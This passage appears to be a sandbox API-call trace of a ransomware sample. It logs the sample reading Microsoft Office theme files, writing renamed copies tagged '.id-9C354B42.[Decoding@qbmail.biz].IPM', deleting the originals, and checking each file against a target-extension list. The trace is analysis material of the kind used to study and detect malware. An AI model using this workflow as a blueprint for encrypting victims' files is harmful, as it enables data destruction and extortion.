returned 1 [0094.161] CloseHandle (hObject=0x204) returned 1 [0094.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0094.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.161] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.161] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0094.229] GetLastError () returned 0x0 [0094.229] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0xaa2, lpOverlapped=0x0) returned 1 [0094.242] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xab0, lpOverlapped=0x0) returned 1 [0094.243] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0094.243] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xea, lpOverlapped=0x0) returned 1 [0094.243] SetEndOfFile (hFile=0x1d8) returned 1 [0094.243] CloseHandle (hObject=0x1d8) returned 1 [0094.244] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.244] SetEndOfFile (hFile=0x204) returned 1 [0094.245] CloseHandle (hObject=0x204) returned 1 [0094.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.245] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0094.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.246] lstrlenW (lpString=".doc") returned 4 [0094.246] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.246] lstrlenW (lpString=".docx") returned 5 [0094.246] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.246] lstrlenW (lpString=".pdf") returned 4 [0094.246] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.246] lstrlenW (lpString=".xls") returned 4 [0094.246] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.246] lstrlenW (lpString=".xlsx") returned 5 [0094.246] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.246] lstrlenW (lpString=".ppt") returned 4 [0094.246] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.246] lstrlenW (lpString=".zip") returned 4 [0094.246] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.246] lstrlenW (lpString=".rar") returned 4 [0094.246] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.246] lstrlenW (lpString=".bz2") returned 4 [0094.246] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.246] lstrlenW (lpString=".7z") returned 3 [0094.246] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.247] lstrlenW (lpString=".dbf") returned 4 [0094.247] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.247] lstrlenW (lpString=".1cd") returned 4 [0094.247] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.247] lstrlenW (lpString=".jpg") returned 4 [0094.247] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.247] lstrlenW (lpString=".doc") returned 4 [0094.247] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.247] lstrlenW (lpString=".docx") returned 5 [0094.247] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.247] lstrlenW (lpString=".pdf") returned 4 [0094.247] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.247] lstrlenW (lpString=".xls") returned 4 [0094.247] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.247] lstrlenW (lpString=".xlsx") returned 5 [0094.247] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.247] lstrlenW (lpString=".ppt") returned 4 [0094.247] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.247] lstrlenW (lpString=".zip") returned 4 [0094.247] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.247] lstrlenW (lpString=".rar") returned 4 [0094.248] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.248] lstrlenW (lpString=".bz2") returned 4 [0094.248] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.248] lstrlenW (lpString=".7z") returned 3 [0094.248] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.248] lstrlenW (lpString=".dbf") returned 4 [0094.248] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.248] lstrlenW (lpString=".1cd") returned 4 [0094.248] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0094.248] lstrlenW (lpString=".jpg") returned 4 [0094.248] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.248] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0094.248] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0094.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.249] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=32607) returned 1 [0094.249] CloseHandle (hObject=0x204) returned 1 [0094.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0094.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.249] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.249] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0094.250] GetLastError () returned 0x0 [0094.250] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0094.284] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0094.288] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0094.288] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.288] SetEndOfFile (hFile=0x1d8) returned 1 [0094.289] CloseHandle (hObject=0x1d8) returned 1 [0094.289] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.289] SetEndOfFile (hFile=0x204) returned 1 [0094.291] CloseHandle (hObject=0x204) returned 1 [0094.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.291] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0094.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.292] lstrlenW (lpString=".doc") returned 4 [0094.292] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.292] lstrlenW (lpString=".docx") returned 5 [0094.292] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.292] lstrlenW (lpString=".pdf") returned 4 [0094.292] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.292] lstrlenW (lpString=".xls") returned 4 [0094.292] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.292] lstrlenW (lpString=".xlsx") returned 5 [0094.292] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.292] lstrlenW (lpString=".ppt") returned 4 [0094.292] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.292] lstrlenW (lpString=".zip") returned 4 [0094.292] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.292] lstrlenW (lpString=".rar") returned 4 [0094.292] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.292] lstrlenW (lpString=".bz2") returned 4 [0094.292] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.293] lstrlenW (lpString=".7z") returned 3 [0094.293] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.293] lstrlenW (lpString=".dbf") returned 4 [0094.293] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.293] lstrlenW (lpString=".1cd") returned 4 [0094.293] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.293] lstrlenW (lpString=".jpg") returned 4 [0094.293] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.293] lstrlenW (lpString=".doc") returned 4 [0094.293] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0094.293] lstrlenW (lpString=".docx") returned 5 [0094.293] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0094.293] lstrlenW (lpString=".pdf") returned 4 [0094.293] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0094.293] lstrlenW (lpString=".xls") returned 4 [0094.293] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0094.293] lstrlenW (lpString=".xlsx") returned 5 [0094.293] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0094.293] lstrlenW (lpString=".ppt") returned 4 [0094.294] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0094.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.294] lstrlenW (lpString=".zip") returned 4 [0094.294] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0094.294] lstrlenW (lpString=".rar") returned 4 [0094.294] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0094.294] lstrlenW (lpString=".bz2") returned 4 [0094.294] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0094.294] lstrlenW (lpString=".7z") returned 3 [0094.294] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0094.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.294] lstrlenW (lpString=".dbf") returned 4 [0094.294] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0094.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.294] lstrlenW (lpString=".1cd") returned 4 [0094.294] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0094.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0094.294] lstrlenW (lpString=".jpg") returned 4 [0094.294] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0094.294] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0094.295] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0094.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.297] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=2044) returned 1 [0094.297] CloseHandle (hObject=0x204) returned 1 [0094.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0094.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.298] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.298] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0094.309] GetLastError () returned 0x0 [0094.309] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x7fc, lpOverlapped=0x0) returned 1 [0094.316] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x800, lpOverlapped=0x0) returned 1 [0094.319] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0094.319] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xea, lpOverlapped=0x0) returned 1 [0094.319] SetEndOfFile (hFile=0x1d8) returned 1 [0094.319] CloseHandle (hObject=0x1d8) returned 1 [0094.319] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0094.320] SetEndOfFile (hFile=0x204) returned 1 [0094.321] CloseHandle (hObject=0x204) returned 1 [0094.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0094.321] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0094.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.321] lstrlenW (lpString=".doc") returned 4 [0094.321] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.322] lstrlenW (lpString=".docx") returned 5 [0094.322] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.322] lstrlenW (lpString=".pdf") returned 4 [0094.322] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.322] lstrlenW (lpString=".xls") returned 4 [0094.322] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.322] lstrlenW (lpString=".xlsx") returned 5 [0094.322] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.322] lstrlenW (lpString=".ppt") returned 4 [0094.322] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.322] lstrlenW (lpString=".zip") returned 4 [0094.322] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.322] lstrlenW (lpString=".rar") returned 4 [0094.322] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.322] lstrlenW (lpString=".bz2") returned 4 [0094.322] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.322] lstrlenW (lpString=".7z") returned 3 [0094.322] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.322] lstrlenW (lpString=".dbf") returned 4 [0094.322] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.322] lstrlenW (lpString=".1cd") returned 4 [0094.322] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.323] lstrlenW (lpString=".jpg") returned 4 [0094.323] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.323] lstrlenW (lpString=".doc") returned 4 [0094.323] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0094.323] lstrlenW (lpString=".docx") returned 5 [0094.323] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0094.323] lstrlenW (lpString=".pdf") returned 4 [0094.323] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0094.323] lstrlenW (lpString=".xls") returned 4 [0094.323] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0094.323] lstrlenW (lpString=".xlsx") returned 5 [0094.323] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0094.323] lstrlenW (lpString=".ppt") returned 4 [0094.323] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0094.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.323] lstrlenW (lpString=".zip") returned 4 [0094.323] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0094.323] lstrlenW (lpString=".rar") returned 4 [0094.323] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0094.323] lstrlenW (lpString=".bz2") returned 4 [0094.323] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0094.323] lstrlenW (lpString=".7z") returned 3 [0094.324] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0094.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.324] lstrlenW (lpString=".dbf") returned 4 [0094.324] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0094.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.324] lstrlenW (lpString=".1cd") returned 4 [0094.324] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0094.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0094.324] lstrlenW (lpString=".jpg") returned 4 [0094.324] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0094.324] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0094.324] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0094.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0094.325] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=29925) returned 1 [0094.325] CloseHandle (hObject=0x204) returned 1 [0094.325] GetFileAttributesW 